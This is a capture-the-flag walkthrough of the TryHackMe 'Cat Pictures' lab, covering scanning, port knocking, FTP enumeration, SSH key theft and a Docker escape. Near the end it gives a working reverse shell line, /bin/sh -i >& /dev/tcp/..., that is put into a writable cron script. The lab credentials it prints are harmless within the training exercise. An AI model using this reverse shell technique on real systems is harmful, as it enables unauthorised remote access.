search

🐈Cat Pictures

hashtag
Introduction

Room Name: Cat Pictures

Room Link: https://tryhackme.com/r/room/catpictures

hashtag
1- Scanning

nmap -sT -sV 10.10.196.124

hashtag
Results

┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV 10.10.196.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-23 00:10 EET
Nmap scan report for 10.10.196.124
Host is up (0.080s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache httpd 2.4.46 ((Unix) OpenSSL/1.1.1d PHP/7.3.27)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.26 seconds

hashtag
Ports Open

hashtag
2- Port 8080

hashtag
Open link on Browser

Lets now visit http://10.10.196.124:8080 on firefox

hashtag
Source code

After inspecting the source code, nothing seems suspicious.

hashtag
Post cat pictures here!

Once I clicked on "Post cat pictures here!", a hint appeared!

Hint: "Knock knock! Magic numbers: 1111, 2222, 3333, 4444."

This means we should do port knocking!

hashtag
3- Port Knocking

hashtag
Using a tool called knockd

hashtag
Running Nmap again

A new port appeared! FTP.

hashtag
4- Port 21 (ftp)

hashtag
Login

Lets first try to login as anonymous.

Successful!

hashtag
Enumeration

Lets check if this share contains anything useful.

ls -la

A note.txt file appeared. Lets download it and get its content.

get note.txt

Important things found:

  • user named catlover

  • password is sardinethecat

  • There is a shell on port 4420

hashtag
5- Port 4420

hashtag
Connecting to the shell

Now, let's connect to port 4420 using netcat, and enter sardinethecat as password.

Password Accepted!

hashtag
Stabilizing the Shell

Lets stabilize the shell.

On the attacker machine, run:

On the thm VM, run:

So now, we have a stabilized shell:

hashtag
Enumeration

Lets move to the home directory.

There is a user named catlover which we found previously.

In /home/catlover, there is a script named runme

Lets move this script to our machine using netcat also, to check what it does.

On the attacker machine, lets run:

On the thm machine, lets run:

Now, lets read the binary.

Important human readable text:

"rebecca Please enter yout password: Welcome, catlover! SSH key transfer queued! touch /tmp/gibmethesshkey Access Denied"

So, this implies that upon entering a password, which might be rebeca, an ssh key should be transferred to /tmp.

After checking the /tmp directory, nothing is found.

The ssh key was transfered to /home/catlover.

hashtag
6- Port 22 (ssh)

Transfer the id_rsa to the attacker machine.

hashtag
Login

Lets now try to login using the key.

Successful!

hashtag
Enumeration

hashtag
Flag 1

flag.txt: 7cf90a0e7c5d25f1a827d3efe6fe4d0xxxxxxxxx

(Note: This flag is within the docker container, and not the actual host machine, so we need to escape the docker container).

hashtag
Flag 2

Lets now escape the container, and find the root flag.

Lets automate the process with linpeas:

copy linpeas from the host machine to the docker container.

Then:

Reading linpeas carefully, I found a script named clean.sh in /opt/clean/clean.sh, which we can modify. (It is a cronjob).

Now, lets insert in it this reverse shell: /bin/sh -i >& /dev/tcp/10.9.0.60/9003 0>&1

open a netcat listener on the attacker machine.

Successful connection!

root.txt: "4a98e43d78bab283938a06f38d2ca3xxxxxxxxxx"

PreviousAll in OneNextGaming Server

Last updated